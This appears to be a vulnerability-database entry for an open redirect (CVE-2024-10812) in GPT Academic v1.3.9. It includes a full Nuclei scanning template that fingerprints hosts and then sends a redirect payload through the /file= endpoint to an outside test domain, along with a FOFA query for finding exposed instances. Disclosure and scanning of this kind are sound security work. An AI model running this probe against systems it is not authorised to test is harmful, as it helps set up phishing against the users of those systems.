CVE-2024-10812: GPT Academic v1.3.9 - Open Redirect

2025-08-01 GPT Academic v1.3.9 PoC Public

Description

An open redirect vulnerability exists in GPT Academic v1.3.9, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.

Details

CVE
CVE-2024-10812 · CVE.org
Severity
中危
Affected
GPT Academic v1.3.9
Published
PoC
Public

PoC

id: CVE-2024-10812

info:
  name: GPT Academic v1.3.9 - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in GPT Academic v1.3.9, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
  impact: |
    Unauthenticated attackers can redirect users to malicious URLs via the file parameter, facilitating phishing attacks and credential theft.
  remediation: |
    Update GPT Academic to a version newer than v1.3.9.
  reference:
    - https://huntr.com/bounties/51408ebd-e0be-489d-8088-f210087dbd6a
  classification:
    epss-score: 0.00585
    epss-percentile: 0.48519
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="gpt_academic"
  tags: cve,cve2024,huntr,redirect,oss,gpt_academic,binary-husky,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "gpt_academic", "gptacademic")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/file=https://oast.pro"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
# digest: 4a0a00473045022023302f7e4478bc6ad8d011d830c3c4bddb77202d51eacc78117da587a8d65980022100d9eb3ea0f154a7e754623eba5525b87de605ad17583d69516d5bd78f0d3d063e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life